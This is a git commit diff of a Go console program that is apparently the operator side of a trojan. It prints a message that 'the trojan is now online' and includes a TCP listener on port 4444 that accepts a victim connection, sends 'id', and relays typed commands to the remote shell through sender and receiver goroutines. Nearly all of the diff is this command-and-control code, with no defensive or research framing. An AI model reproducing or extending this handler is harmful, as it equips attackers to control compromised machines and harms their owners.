update readme and go.mod

console.go

@@ -22,8 +22,6 @@ func main() {
 	fmt.Println(" \\____|____/ \\____\\___/|_| |_|___/\\___/|_|\\___|")
 
 	console()
-	//listener("tcp", 4444)
-	//dial("tcp", "127.0.0.1", 4444)
 }
 
 type env struct {
@@ -35,73 +33,6 @@ type env struct {
 
 var env1 env
 
-// listener function
-func listener(port int) {
-	// Create a listener
-	var addr net.TCPAddr
-	addr.IP = net.IPv4(127, 0, 0, 1)
-	addr.Port = port
-	listener, err := net.ListenTCP("tcp", &addr)
-	if err != nil {
-		fmt.Println("err = ", err)
-		return
-	}
-	fmt.Printf("Listening on local port %d\n", port)
-	defer listener.Close()
-
-	//var connpool[16] net.TCPConn
-	//Wait for connection
-
-	conn, err := listener.AcceptTCP()
-	if err != nil {
-		fmt.Println("err = ", err)
-		return
-	}
-	fmt.Println("木马已经上线")
-
-	//defer conn.Close() //Close TCP connetcion
-
-	exit := make(chan string, 1)
-	receive := make(chan int)
-	sstop := make(chan string)
-	rstop := make(chan string)
-
-	//Get username
-	conn.Write([]byte("id\n"))
-	receiver(*conn)
-	fmt.Print(env1.username + " > ")
-
-	go func() {
-		for {
-			select {
-			case <-rstop:
-				return
-			default:
-				<-receive
-				receiver(*conn)
-				fmt.Print(env1.username + " > ")
-			}
-		}
-	}()
-
-	go func() {
-		for {
-			select {
-			case <-sstop:
-				return
-			default:
-				sender(conn, exit, receive, sstop, rstop)
-
-			}
-		}
-	}()
-	exitsignal := <-exit // 2. 尝试从通道中读取内容，若通道为空，则阻塞在此
-	sstop <- "stop sender"
-	rstop <- "stop receiver"
-	fmt.Printf("command: %v\n", exitsignal)
-	return
-}
-
 // 控制台函数
 func console() {
 
@@ -202,6 +133,72 @@ func execInput(input string) error {
 	return cmd.Run()
 }
 
+// listener function
+func listener(port int) {
+	// Create a listener
+	var addr net.TCPAddr
+	addr.IP = net.IPv4(127, 0, 0, 1)
+	addr.Port = port
+	listener, err := net.ListenTCP("tcp", &addr)
+	if err != nil {
+		fmt.Println("err = ", err)
+		return
+	}
+	fmt.Printf("Listening on local port %d\n", port)
+	defer listener.Close()
+
+	//var connpool[16] net.TCPConn
+	//Wait for connection
+
+	conn, err := listener.AcceptTCP()
+	if err != nil {
+		fmt.Println("err = ", err)
+		return
+	}
+	fmt.Println("木马已经上线")
+
+	//defer conn.Close() //Close TCP connetcion
+
+	exit := make(chan string, 1)
+	receive := make(chan int)
+	sstop := make(chan string)
+	rstop := make(chan string)
+
+	//Get username
+	conn.Write([]byte("id\n"))
+	receiver(*conn)
+	fmt.Print(env1.username + " > ")
+
+	go func() {
+		for {
+			select {
+			case <-rstop:
+				return
+			default:
+				<-receive
+				receiver(*conn)
+				fmt.Print(env1.username + " > ")
+			}
+		}
+	}()
+
+	go func() {
+		for {
+			select {
+			case <-sstop:
+				return
+			default:
+				sender(conn, exit, receive, sstop, rstop)
+
+			}
+		}
+	}()
+	exitsignal := <-exit // 2. 尝试从通道中读取内容，若通道为空，则阻塞在此
+	sstop <- "stop sender"
+	rstop <- "stop receiver"
+	fmt.Printf("command: %v\n", exitsignal)
+}
+
 func dial(host string, port int) {
 	//处理连接参数
 	var dialaddr net.TCPAddr
@@ -260,7 +257,6 @@ func dial(host string, port int) {
 	sstop <- "stop sender"
 	rstop <- "stop receiver"
 	fmt.Printf("command: %v\n", exitsignal)
-	return
 }
 
 func sender(conn *net.TCPConn, exit chan string, receive chan int, sstop chan string, rstop chan string) {
@@ -370,7 +366,6 @@ func sender(conn *net.TCPConn, exit chan string, receive chan int, sstop chan st
 	}
 	conn.Write([]byte(inp))
 	receive <- 1
-	return
 }
 
 func receiver(conn net.TCPConn) {